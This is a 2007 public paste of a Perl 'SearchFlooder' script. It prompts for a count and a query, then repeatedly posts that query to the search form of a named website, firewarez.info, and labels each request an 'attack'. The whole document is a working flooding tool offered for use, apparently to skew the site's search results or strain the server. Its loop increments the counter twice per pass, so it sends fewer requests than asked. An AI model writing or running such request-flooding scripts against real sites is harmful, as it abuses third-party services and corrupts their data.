Public paste
fsdf
By: fsdfsdf | Date: Dec 27 2007 14:55 | Format: None | Expires: never | Size: 928 B | Hits: 1236

  1. #!/usr/bin/perl
  2. print qq^
  3. #####################################
  4. # www FireWareZ inFo                #
  5. #      S e a r c h F l o o d e R    #
  6. # -- O  P  T  I  P  L  E  X --      #
  7. #####################################n^;
  8.  
  9. # Getting Variables
  10. print "[!] How many ?:";
  11. chomp($i = <STDIN>);
  12. print "[!] Query ?:";
  13. chomp($q = <STDIN>);
  14.  
  15. # Making the Settings
  16. use HTTP::Request::Common qw(POST);
  17. use LWP::UserAgent;
  18. for($p = 0;$p <= $i;$p++){
  19. my $UserAgent = LWP::UserAgent->new;
  20. my $request = POST "http://www.firewarez.info/search.html", [ q => $q];
  21. $UserAgent->request($request);
  22. print "[!] Done Attack [$p] With Query [$q] ! n";
  23. $p++;
  24. }
  25. print "[!] All $i Done ! n";
  26. print "[!] Go back to firewarez.info to check the results :-)!n";
  27. print qq^
  28. #####################################
  29. # B  y  O  P  T  I  P  L  E  X      #
  30. #####################################^;
  31. $wait = <>;
  32. # Wait for showing results